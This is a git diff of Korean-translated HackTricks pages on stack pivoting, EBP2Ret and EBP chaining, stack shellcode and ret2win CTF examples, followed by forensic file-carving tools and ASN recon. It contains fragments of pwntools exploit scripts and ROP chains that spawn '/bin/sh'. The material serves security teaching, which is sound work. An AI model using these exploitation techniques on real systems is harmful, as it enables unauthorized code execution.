- [https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html)
- 32비트, nx, 다른 것 없음, `win` 함수를 호출하기 위한 EIP의 부분 덮어쓰기 (1Byte)
- 32비트, nx, 그 외 없음, `win` 함수를 호출하기 위한 EIP의 부분 덮어쓰기 (1Byte)
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- 프로그램은 입력 크기를 확인하기 위해 숫자의 마지막 바이트만 검증하므로, 마지막 바이트가 허용된 범위 내에 있는 한 어떤 크기도 추가할 수 있습니다. 그런 다음 입력은 ret2win으로 악용된 버퍼 오버플로우를 생성합니다.
- [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
- 64비트, relro, 카나리 없음, nx, pie. `win` 함수를 호출하기 위한 부분 덮어쓰기 (ret2win)
- [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
- arm64, PIE, PIE 누출이 발생하며 `win` 함수는 실제로 2개의 함수이므로 2개의 함수를 호출하는 ROP 가젯
- arm64, PIE, PIE leak를 제공하며 `win` 함수는 실제로 2개의 함수이므로 2개의 함수를 호출하는 ROP 가젯
- [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
- ARM64, off-by-one으로 `win` 함수를 호출
## ARM64 예제
## ARM64 Example
{{#ref}}
ret2win-arm64.md

View File

@ -1,4 +1,4 @@
# 스택 피벗 - EBP2Ret - EBP 체이닝
# 스택 피벗 - EBP2Ret - EBP 체이닝
{{#include ../../banners/hacktricks-training.md}}
@ -12,51 +12,51 @@ mov ebp, esp
pop ebp
ret
```
그리고 **EBP가 스택에** 있을 때 EIP 앞에 있기 때문에 스택을 제어하여 이를 제어할 수 있습니다.
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
### EBP2Ret
이 기술은 **EBP 레지스터를 변경할 수 있지만 EIP 레지스터를 직접 변경할 방법이 없을 때** 특히 유용합니다. 함수가 실행을 마칠 때의 동작을 활용합니다.
`fvuln` 실행 중에 스택에 **가짜 EBP**를 주입하여 쉘코드 주소가 있는 메모리 영역을 가리키게 할 수 있다면(plus 4 bytes는 `pop` 작업을 고려한 것입니다), EIP를 간접적으로 제어할 수 있습니다. `fvuln`이 반환되면 ESP는 이 조작된 위치로 설정되고, 이후의 `pop` 작업은 ESP를 4만큼 감소시켜 **실제로 공격자가 그곳에 저장한 주소를 가리키게 합니다.**\
여기서 **2개의 주소를 알아야 한다는 점에 유의하세요**: ESP가 갈 주소와 ESP가 가리키는 주소를 써야 할 주소입니다.
`fvuln` 실행 중에, **가짜 EBP**를 스택에 주입하여 쉘코드 주소가 위치한 메모리 영역을 가리키게 할 수 있다면(plus 4 bytes to account for the `pop` operation), EIP를 간접적으로 제어할 수 있습니다. `fvuln`이 반환되면, ESP는 이 조작된 위치로 설정되고, 이후의 `pop` 작업은 ESP를 4만큼 감소시켜 **실제로 공격자가 저장한 주소를 가리키게 합니다.**\
여기서 **2개의 주소를 알아야 한다는 점에 유의하세요**: ESP가 이동할 주소와, ESP가 가리키는 주소를 써야 할 주소입니다.
#### Exploit Construction
먼저 **임의의 데이터/주소를 쓸 수 있는 주소**를 알아야 합니다. ESP는 여기로 가고 **첫 번째 `ret`을 실행합니다.**
먼저, **임의의 데이터/주소를 쓸 수 있는 주소**를 알아야 합니다. ESP는 여기로 가리키고 **첫 번째 `ret`을 실행합니다.**
그 다음, **임의의 코드를 실행할** `ret`이 사용하는 주소를 알아야 합니다. 다음을 사용할 수 있습니다:
- 유효한 [**ONE_GADGET**](https://github.com/david942j/one_gadget) 주소.
- **`system()`**의 주소 뒤에 **4개의 쓰레기 바이트**와 `"/bin/sh"`의 주소(x86 비트).
- **`system()`**의 주소 뒤에 **4개의 쓰레기 바이트**와 `"/bin/sh"`의 주소(x86 bits).
- **`jump esp;`** 가젯([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md))의 주소 뒤에 **실행할 쉘코드**.
- 일부 [**ROP**](../rop-return-oriented-programing/) 체인
- 일부 [**ROP**](../rop-return-oriented-programing/index.html) 체인.
제어된 메모리 부분의 이러한 주소 앞에는 **`4` 바이트**가 있어야 합니다. 이는 **`pop`** 부분의 `leave` 명령어 때문입니다. 이 4B를 악용하여 **두 번째 가짜 EBP**를 설정하고 실행을 계속 제어할 수 있습니다.
#### Off-By-One Exploit
이 기술의 특정 변형인 "Off-By-One Exploit"이 있습니다. 이는 **EBP의 가장 하위 바이트만 수정할 수 있을 때** 사용됩니다. 이 경우 **`ret`**로 점프할 주소를 저장하는 메모리 위치는 EBP와 첫 세 바이트를 공유해야 하며, 더 제한된 조건에서 유사한 조작이 가능하게 합니다.\
이 기술의 특정 변형인 "Off-By-One Exploit"이 있습니다. 이는 **EBP의 가장 하위 바이트만 수정할 수 있을 때** 사용됩니다. 이 경우, **`ret`**로 점프할 주소를 저장하는 메모리 위치는 EBP와 첫 세 바이트를 공유해야 하며, 더 제한된 조건에서 유사한 조작이 가능하게 합니다.\
보통 0x00 바이트를 수정하여 가능한 한 멀리 점프합니다.
또한, 스택에 RET 슬레드를 사용하고 실제 ROP 체인을 끝에 배치하여 새로운 ESP가 RET SLED 내부를 가리키고 최종 ROP 체인이 실행될 가능성을 높이는 것이 일반적입니다.
### **EBP Chaining**
따라서 스택의 `EBP` 항목에 제어된 주소를 넣고 `EIP``leave; ret` 주소를 넣으면 **스택에서 제어된 `EBP` 주소로 `ESP`를 이동할 수 있습니다.**
따라서 스택의 `EBP` 항목에 제어된 주소를 넣고 `EIP``leave; ret` 주소를 넣으면, **스택에서 제어된 `EBP` 주소로 `ESP`를 이동할 수 있습니다.**
이제 **`ESP`**는 원하는 주소를 가리키도록 제어되고 다음 실행할 명령은 `RET`입니다. 이를 악용하기 위해 제어된 ESP 위치에 다음을 배치할 수 있습니다:
이제 **`ESP`**는 원하는 주소를 가리키도록 제어되고, 다음 실행할 명령은 `RET`입니다. 이를 악용하기 위해 제어된 ESP 위치에 다음을 배치할 수 있습니다:
- **`&(next fake EBP)`** -> `leave` 명령어의 `pop ebp`로 인해 새로운 EBP를 로드합니다.
- **`system()`** -> `ret`에 의해 호출됩니다.
- **`&(leave;ret)`** -> 시스템이 종료된 후 호출되며, ESP를 가짜 EBP로 이동시키고 다시 시작합니다.
- **`&("/bin/sh")`** -> `system`의 매개변수
- **`&("/bin/sh")`**-> `system`의 매개변수입니다.
기본적으로 이 방법으로 여러 개의 가짜 EBP를 연결하여 프로그램의 흐름을 제어할 수 있습니다.
이것은 [ret2lib](../rop-return-oriented-programing/ret2lib/)와 비슷하지만, 명백한 이점 없이 더 복잡할 수 있으며 일부 엣지 케이스에서 흥미로울 수 있습니다.
이것은 [ret2lib](../rop-return-oriented-programing/ret2lib/index.html)와 비슷하지만, 명백한 이점 없이 더 복잡합니다. 그러나 일부 엣지 케이스에서 흥미로울 수 있습니다.
또한, 이 기술을 사용하여 **스택 누수**로 승리하는 함수를 호출하는 [**챌린지의 예**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이것은 페이지의 최종 페이로드입니다:
또한, 여기에는 **스택 누수**를 사용하여 승리하는 함수를 호출하는 [**챌린지의 예**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave)가 있습니다. 이것은 페이지의 최종 페이로드입니다:
```python
from pwn import *
@ -94,8 +94,8 @@ print(p.recvline())
```
## EBP는 사용되지 않을 수 있음
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), 만약 바이너리가 일부 최적화와 함께 컴파일된다면, **EBP는 ESP를 제어하지 못함**으로 인해, EBP를 제어하여 작동하는 어떤 익스플로잇도 기본적으로 실패하게 됩니다.\
이는 **프로롤로그와 에필로그가** 바이너리가 최적화되면 변경되기 때문입니다.
As [**explained in this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), if a binary is compiled with some optimizations, the **EBP never gets to control ESP**, therefore, any exploit working by controlling EBP sill basically fail because it doesn't have ay real effect.\
This is because the **prologue and epilogue changes** if the binary is optimized.
- **최적화되지 않음:**
```bash
@ -119,11 +119,11 @@ add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
## RSP를 제어하는 다른 방법
## RSP 제어의 다른 방법
### **`pop rsp`** 가젯
[**이 페이지에서**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 이 기술을 사용하는 예제를 찾을 수 있습니다. 이 도전 과제에서는 2개의 특정 인수를 가진 함수를 호출해야 했으며, **`pop rsp` 가젯**이 있었고 **스택에서의 leak**이 있었습니다:
[**이 페이지에서**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 이 기술을 사용하는 예제를 찾을 수 있습니다. 이 도전 과제에서는 2개의 특정 인수를 가진 함수를 호출해야 했으며, **`pop rsp` 가젯**이 있었고 **스택에서의 누출**이 있었습니다:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@ -188,11 +188,11 @@ ret2esp 기술에 대한 내용은 여기에서 확인하세요:
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64비트, ret sled로 시작하는 rop 체인을 이용한 off by one 취약점
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64비트, no relro, canary, nx 및 pie. 프로그램은 스택 또는 pie에 대한 leak와 qword의 WWW를 제공합니다. 먼저 스택 leak를 얻고 WWW를 사용하여 pie leak를 가져옵니다. 그런 다음 WWW를 사용하여 `.fini_array` 항목을 남용하여 영구 루프를 생성하고 `__libc_csu_fini`를 호출합니다 ([자세한 정보는 여기](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). 이 "영구" 쓰기를 남용하여 .bss에 ROP 체인을 작성하고 RBP로 피벗하여 호출합니다.
- 64비트, no relro, canary, nx 및 pie. 프로그램은 스택 또는 pie에 대한 leak와 qword의 WWW를 제공합니다. 먼저 스택 leak를 얻고 WWW를 사용하여 pie leak를 다시 가져옵니다. 그런 다음 WWW를 사용하여 `.fini_array` 항목을 남용하여 영구 루프를 생성하고 `__libc_csu_fini`를 호출합니다 ([자세한 정보는 여기](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). 이 "영구" 쓰기를 남용하여 .bss에 ROP 체인을 작성하고 RBP로 피벗하여 호출합니다.
## ARM64
ARM64에서 함수의 **프롤로그와 에필로그**는 **스택에서 SP 레지스터를 저장하거나 검색하지 않습니다**. 게다가 **`RET`** 명령은 SP가 가리키는 주소로 반환하지 않고 **`x30`** 내부의 주소로 반환합니다.
ARM64에서 함수의 **프롤로그와 에필로그**는 **스택에서 SP 레지스터를 저장하거나 검색하지 않습니다**. 게다가, **`RET`** 명령은 SP가 가리키는 주소로 반환하지 않고 **`x30`** 내부의 주소로 반환합니다.
따라서 기본적으로 에필로그를 남용하더라도 **스택 내부의 일부 데이터를 덮어써서 SP 레지스터를 제어할 수 없습니다**. SP를 제어할 수 있게 되더라도 여전히 **`x30`** 레지스터를 **제어할 방법이 필요합니다**.
@ -215,7 +215,7 @@ ret
> [!CAUTION]
> ARM64에서 스택 피벗과 유사한 작업을 수행하는 방법은 **`SP`**를 **제어할 수 있는 것**입니다 (어떤 레지스터의 값을 제어하여 `SP`에 전달하거나, 어떤 이유로 `SP`가 스택에서 주소를 가져오고 오버플로우가 발생하는 경우) 그리고 **에필로그를 남용하여** **제어된 `SP`**에서 **`x30`** 레지스터를 로드하고 **`RET`**를 수행하는 것입니다.
다음 페이지에서도 **ARM64에서의 Ret2esp**에 해당하는 내용을 확인할 수 있습니다:
다음 페이지에서도 **ARM64에서의 Ret2esp**의 동등한 내용을 확인할 수 있습니다:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md

View File

@ -4,7 +4,7 @@
## Basic Information
**스택 셸코드**는 **바이너리 익스플로잇**에서 사용되는 기술로, 공격자가 취약한 프로그램의 스택에 셸코드를 작성한 다음 **명령 포인터(IP)** 또는 **확장 명령 포인터(EIP)**를 이 셸코드의 위치를 가리키도록 수정하여 실행되 하는 방법입니다. 이는 무단 접근을 얻거나 대상 시스템에서 임의의 명령을 실행하기 위해 사용되는 고전적인 방법입니다. 다음은 프로세스의 개요와 간단한 C 예제, 그리고 **pwntools**를 사용하여 해당 익스플로잇을 작성하는 방법입니다.
**스택 셸코드**는 **바이너리 익스플로잇**에서 사용되는 기술로, 공격자가 취약한 프로그램의 스택에 셸코드를 작성한 다음 **명령 포인터 (IP)** 또는 **확장 명령 포인터 (EIP)**를 이 셸코드의 위치를 가리키도록 수정하여 실행되도록 하는 방법입니다. 이는 무단 접근을 얻거나 대상 시스템에서 임의의 명령을 실행하기 위해 사용되는 고전적인 방법입니다. 다음은 프로세스의 개요와 간단한 C 예제, 그리고 **pwntools**를 사용하여 해당 익스플로잇을 작성하는 방법입니다.
### C Example: A Vulnerable Program
@ -39,7 +39,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
### Python Exploit using Pwntools
다음은 **pwntools**를 사용하여 **ret2shellcode** 공격을 수행하는 익스플로잇을 Python으로 작성하는 방법입니다:
여기 **pwntools**를 사용하여 **ret2shellcode** 공격을 수행하는 Python 익스플로잇을 작성하는 방법이 있습니다:
```python
from pwn import *
@ -72,20 +72,20 @@ p.interactive()
## 보호 조치
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **은 비활성화되어야** 실행 간에 주소가 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, win 함수가 로드된 위치를 파악하기 위해 어떤 leak이 필요합니다.
- [**스택 카나리**](../../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지 않을 것입니다.
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **은 비활성화되어야** 주소가 실행 간에 신뢰할 수 있도록 하거나 함수가 저장될 주소가 항상 동일하지 않으며, win 함수가 로드된 위치를 파악하기 위해 어떤 leak이 필요합니다.
- [**스택 카나리**](../../common-binary-protections-and-bypasses/stack-canaries/index.html)도 비활성화되어야 하며, 그렇지 않으면 손상된 EIP 반환 주소가 결코 따라지 않을 것입니다.
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **스택** 보호는 스택 내에서 쉘코드의 실행을 방지합니다. 해당 영역은 실행 가능하지 않기 때문입니다.
## 기타 예제 및 참고 자료
## 기타 예제 및 참
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
- 64비트, 스택 주소 leak가 있는 ASLR, 쉘코드 작성 및 점프
- 64비트, 스택 주소 leak가 있는 ASLR, 쉘코드를 작성하고 점프하기
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
- 32비트, 스택 leak가 있는 ASLR, 쉘코드 작성 및 점프
- 32비트, 스택 leak가 있는 ASLR, 쉘코드를 작성하고 점프하기
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
- 32비트, 스택 leak가 있는 ASLR, exit() 호출 방지를 위한 비교, 변수에 값 덮어쓰기 및 쉘코드 작성 및 점프
- 32비트, 스택 leak가 있는 ASLR, exit() 호출 방지를 위한 비교, 변수에 값을 덮어쓰고 쉘코드를 작성하고 점프하기
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, ASLR 없음, 스택을 실행 가능하게 만드는 ROP 가젯 및 스택 내 쉘코드로 점프
- arm64, ASLR 없음, 스택을 실행 가능하게 만드는 ROP 가젯 및 스택 내 쉘코드로 점프하기
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -8,7 +8,7 @@
### Autopsy
이미지에서 파일을 추출하는 데 가장 일반적으로 사용되는 포렌식 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하여 설치한 후 파일을 추가하여 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 기타 종류의 이미지를 지원하도록 설계되었지만 단순 파일은 지원하지 않습니다.
이미지에서 파일을 추출하는 데 가장 일반적으로 사용되는 포렌식 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하여 설치한 후 파일을 가져와 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 기타 종류의 이미지를 지원하도록 설계되었지만 단순 파일은 지원하지 않습니다.
### Binwalk <a href="#binwalk" id="binwalk"></a>
@ -40,11 +40,11 @@ scalpel file.img -o output
이 도구는 칼리 안에 포함되어 있지만 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
이 도구는 이미지를 스캔하고 그 안에서 **pcap**을 **추출**하며, **네트워크 정보 (URL, 도메인, IP, MAC, 메일)** 및 더 많은 **파일**을 추출할 수 있습니다. 당신이 해야 할 은:
이 도구는 이미지를 스캔하고 그 안에서 **pcaps**를 **추출**하며, **네트워크 정보 (URL, 도메인, IP, MAC, 메일)** 및 더 많은 **파일**을 추출할 수 있습니다. 당신이 해야 할 은:
```
bulk_extractor memory.img -o out_folder
```
모든 정보를 탐색하세요(비밀번호?), 패킷을 분석하세요(읽기[ **Pcaps analysis**](../pcap-inspection/)), 이상한 도메인을 검색하세요(악성코드 또는 존재하지 않는 도메인과 관련된 도메인).
모든 정보를 탐색하세요(비밀번호?), 패킷을 분석하세요(읽기[ **Pcaps analysis**](../pcap-inspection/index.html)), 이상한 도메인을 검색하세요(악성코드 또는 존재하지 않는 도메인과 관련된 도메인).
### PhotoRec
@ -81,7 +81,7 @@ BinVis는 블랙박스 시나리오에서 알려지지 않은 대상을 익히
## 보조 도구
터미널에서 이미지를 보려면 [**viu** ](https://github.com/atanunq/viu)를 사용 수 있습니다.\
PDF를 텍스트로 변환하고 읽으려면 리눅스 명령줄 도구 **pdftotext**를 사용 수 있습니다.
[**viu**](https://github.com/atanunq/viu)를 사용하여 터미널에서 이미지를 볼 수 있습니다.\
리눅스 명령줄 도구 **pdftotext**를 사용하여 PDF를 텍스트로 변환하고 읽을 수 있습니다.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,11 +4,11 @@
## Autopsy
포렌식에서 이미지를 통해 파일을 추출하는 데 가장 일반적으로 사용되는 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하여 설치한 후 파일을 분석하여 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 기타 종류의 이미지를 지원하도록 설계되었지만 단순 파일은 지원하지 않습니다.
포렌식에서 이미지를 통해 파일을 추출하는 데 가장 일반적으로 사용되는 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하여 설치한 후 파일을 가져와 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 기타 종류의 이미지를 지원하도록 설계되었지만 단순 파일은 지원하지 않습니다.
## Binwalk <a id="binwalk"></a>
**Binwalk**는 이미지 및 오디오 파일과 같은 이진 파일에서 내장된 파일과 데이터를 검색하는 도구입니다. `apt`를 사용하여 설치할 수 있으며, [소스](https://github.com/ReFirmLabs/binwalk)는 github에서 찾을 수 있습니다.
**Binwalk**는 이미지 및 오디오 파일과 같은 이진 파일에서 내장된 파일과 데이터를 검색하는 도구입니다. `apt`로 설치할 수 있지만 [소스](https://github.com/ReFirmLabs/binwalk)는 github에서 찾을 수 있습니다.
**유용한 명령어**:
```bash
sudo apt install binwalk #Insllation
@ -18,7 +18,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
## Foremost
또 다른 일반적인 도구는 **foremost**로, 숨겨진 파일을 찾는 데 사용됩니다. foremost의 구성 파일은 `/etc/foremost.conf`에 있습니다. 특정 파일을 검색하려면 주석을 제거하면 됩니다. 아무것도 주석을 제거하지 않으면 foremost는 기본적으로 구성된 파일 유형을 검색합니다.
또 다른 일반적인 도구는 **foremost**니다. foremost의 구성 파일은 `/etc/foremost.conf`에 있습니다. 특정 파일을 검색하려면 주석을 제거하면 됩니다. 아무것도 주석을 제거하지 않으면 foremost는 기본적으로 구성된 파일 유형을 검색합니다.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
@ -33,13 +33,13 @@ scalpel file.img -o output
```
## Bulk Extractor
이 도구는 칼리 안에 포함되어 있지만 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
이 도구는 kali에 포함되어 있지만 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
이 도구는 이미지를 스캔하고 **pcaps**를 추출하며, **네트워크 정보(URLs, 도메인, IPs, MACs, 메일)** 및 더 많은 **파일**을 추출할 수 있습니다. 당신이 해야 할 일은:
이 도구는 이미지를 스캔하고 **pcaps**를 추출하며, **네트워크 정보(URLs, domains, IPs, MACs, mails)** 및 기타 **파일**을 추출할 수 있습니다. 당신이 해야 할 일은:
```text
bulk_extractor memory.img -o out_folder
```
모든 정보를 탐색하십시오 \(비밀번호?\), 패킷을 분석하십시오 \(읽기 [ **Pcaps 분석**](../pcap-inspection/)\), 이상한 도메인을 검색하십시오 \(악성코드 또는 존재하지 않는 도메인과 관련된 도메인\).
모든 정보를 탐색하십시오 \(비밀번호?\), 패킷을 분석하십시오 \(읽기 [ **Pcaps 분석**](../pcap-inspection/index.html)\), 이상한 도메인을 검색하십시오 \( **악성코드** 또는 **존재하지 않는** 도메인과 관련된\).
## PhotoRec
@ -55,10 +55,10 @@ GUI 및 CLI 버전이 함께 제공됩니다. PhotoRec이 검색할 **파일 유
키 스케줄을 검색하여 AES 키를 검색합니다. TrueCrypt 및 BitLocker에서 사용하는 것과 같은 128, 192 및 256 비트 키를 찾을 수 있습니다.
[여기에서 다운로드](https://sourceforge.net/projects/findaes/).
[여기에서 다운로드](https://sourceforge.net/projects/findaes/)하십시오.
# 보조 도구
[**viu** ](https://github.com/atanunq/viu)를 사용하여 터미널에서 이미지를 볼 수 있습니다. 리눅스 명령줄 도구 **pdftotext**를 사용하여 pdf를 텍스트로 변환하고 읽을 수 있습니다.
[**viu**](https://github.com/atanunq/viu)를 사용하여 터미널에서 이미지를 볼 수 있습니다. 리눅스 명령줄 도구 **pdftotext**를 사용하여 PDF를 텍스트로 변환하고 읽을 수 있습니다.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -8,7 +8,7 @@
### Autopsy
포렌식에서 이미지를 통해 파일을 추출하는 데 가장 일반적으로 사용되는 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하여 설치한 후 파일을 입력하여 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 기타 종류의 이미지를 지원하도록 설계되었지만 단순 파일은 지원하지 않습니다.
포렌식에서 이미지를 통해 파일을 추출하는 데 가장 일반적으로 사용되는 도구는 [**Autopsy**](https://www.autopsy.com/download/)입니다. 다운로드하여 설치한 후 파일을 추가하여 "숨겨진" 파일을 찾으세요. Autopsy는 디스크 이미지 및 기타 종류의 이미지를 지원하도록 설계되었지만 단순 파일은 지원하지 않습니다.
### Binwalk <a href="#binwalk" id="binwalk"></a>
@ -23,7 +23,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
또 다른 일반적인 도구는 **foremost**입니다. foremost의 구성 파일은 `/etc/foremost.conf`에 있습니다. 특정 파일을 검색하려면 주석을 제거하면 됩니다. 아무것도 주석을 제거하지 않으면 foremost는 기본 구성된 파일 유형을 검색합니다.
또 다른 일반적인 도구는 **foremost**입니다. foremost의 구성 파일은 `/etc/foremost.conf`에 있습니다. 특정 파일을 검색하려면 주석을 제거하면 됩니다. 아무것도 주석을 제거하지 않으면 foremost는 기본적으로 구성된 파일 유형을 검색합니다.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
@ -40,17 +40,17 @@ scalpel file.img -o output
이 도구는 칼리 안에 포함되어 있지만 여기에서 찾을 수 있습니다: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
이 도구는 이미지를 스캔하고 그 안에서 **pcap**을 **추출**하며, **네트워크 정보 (URL, 도메인, IP, MAC, 메일)** 및 더 많은 **파일**을 추출할 수 있습니다. 당신이 해야 할 일은:
이 도구는 이미지를 스캔하고 **pcaps**를 추출하며, **네트워크 정보 (URL, 도메인, IP, MAC, 메일)** 및 더 많은 **파일**을 추출할 수 있습니다. 당신이 해야 할 일은:
```
bulk_extractor memory.img -o out_folder
```
모든 정보를 탐색하세요(비밀번호?), 패킷을 분석하세요(읽기[ **Pcaps analysis**](../pcap-inspection/)), 이상한 도메인을 검색하세요(악성코드 또는 존재하지 않는 도메인과 관련된 도메인).
모든 정보를 탐색하세요(비밀번호?), 패킷을 분석하세요(읽기[ **Pcaps analysis**](../pcap-inspection/index.html)), 이상한 도메인을 검색하세요(악성코드 또는 존재하지 않는 도메인과 관련된 도메인).
### PhotoRec
[https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)에서 찾을 수 있습니다.
GUI 및 CLI 버전이 함께 제공됩니다. PhotoRec이 검색할 **파일 유형**을 선택할 수 있습니다.
GUI 및 CLI 버전이 제공됩니다. PhotoRec이 검색할 **파일 유형**을 선택할 수 있습니다.
![](<../../../images/image (242).png>)
@ -61,10 +61,10 @@ GUI 및 CLI 버전이 함께 제공됩니다. PhotoRec이 검색할 **파일 유
#### BinVis의 기능
- 시각적이고 능동적인 **구조 뷰어**
- 다양한 초점에 대한 여러 플롯
- 다양한 초점 포인트에 대한 여러 플롯
- 샘플의 일부에 집중
- PE 또는 ELF 실행 파일에서 **문자열 및 리소스 보기**
- 파일에 대한 암호 분석 위한 **패턴** 얻기
- 파일에 대한 암호 분석 패턴 얻기
- 패커 또는 인코더 알고리즘 **찾기**
- 패턴으로 스테가노그래피 **식별**
- **시각적** 바이너리 차이 비교

View File

@ -17,18 +17,18 @@
우선, **모회사가 소유한 다른 회사**를 알아야 합니다.\
한 가지 옵션은 [https://www.crunchbase.com/](https://www.crunchbase.com)를 방문하여 **모회사**를 **검색**하고 "**인수**"를 **클릭**하는 것입니다. 거기에서 모회사가 인수한 다른 회사를 볼 수 있습니다.\
다른 옵션은 모회사의 **위키백과** 페이지를 방문하여 **인수**를 검색하는 것입니다.
다른 옵션은 모회사의 **위키백과** 페이지를 방문하여 **인수**를 검색하는 것입니다.
> 좋습니다. 이 시점에서 범위 내의 모든 회사를 알아야 합니다. 이제 그들의 자산을 찾는 방법을 알아봅시다.
### **ASNs**
### **ASN**
자율 시스템 번호(**ASN**)는 **인터넷 할당 번호 관리 기관(IANA)**에 의해 **자율 시스템**(AS)에 할당된 **고유 번호**입니다.\
**AS**는 외부 네트워크에 접근하기 위한 명확하게 정의된 정책을 가진 **IP 주소**의 **블록**으로 구성되며, 단일 조직에 의해 관리되지만 여러 운영자로 구성될 수 있습니다.
회사가 **할당된 ASN**이 있는지 확인하여 **IP 범위**를 찾는 것이 흥미롭습니다. **범위** 내의 모든 **호스트**에 대해 **취약성 테스트**를 수행하고 이 IP 내의 **도메인**을 찾아보는 것이 좋습니다.\
[**https://bgp.he.net/**](https://bgp.he.net)에서 회사 **이름**, **IP** 또는 **도메인**으로 **검색**할 수 있습니다.\
**회사의 지역에 따라 이 링크는 더 많은 데이터를 수집하는 데 유용할 수 있습니다:** [**AFRINIC**](https://www.afrinic.net) **(아프리카),** [**Arin**](https://www.arin.net/about/welcome/region/) **(북미),** [**APNIC**](https://www.apnic.net) **(아시아),** [**LACNIC**](https://www.lacnic.net) **(라틴 아메리카),** [**RIPE NCC**](https://www.ripe.net) **(유럽). 어쨌든, 아마도 모든** 유용한 정보 **(IP 범위 및 Whois)**는 이미 첫 번째 링크에 나타납니다.
**회사의 지역에 따라 이 링크는 더 많은 데이터를 수집하는 데 유용할 수 있습니다:** [**AFRINIC**](https://www.afrinic.net) **(아프리카),** [**Arin**](https://www.arin.net/about/welcome/region/) **(북미),** [**APNIC**](https://www.apnic.net) **(아시아),** [**LACNIC**](https://www.lacnic.net) **(라틴 아메리카),** [**RIPE NCC**](https://www.ripe.net) **(유럽). 어쨌든 아마도 모든** 유용한 정보 **(IP 범위 및 Whois)**는 첫 번째 링크에 이미 나타납니다.
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
@ -56,21 +56,21 @@ You can find the IP and ASN of a domain using [http://ipv4info.com/](http://ipv4
### **취약점 찾기**
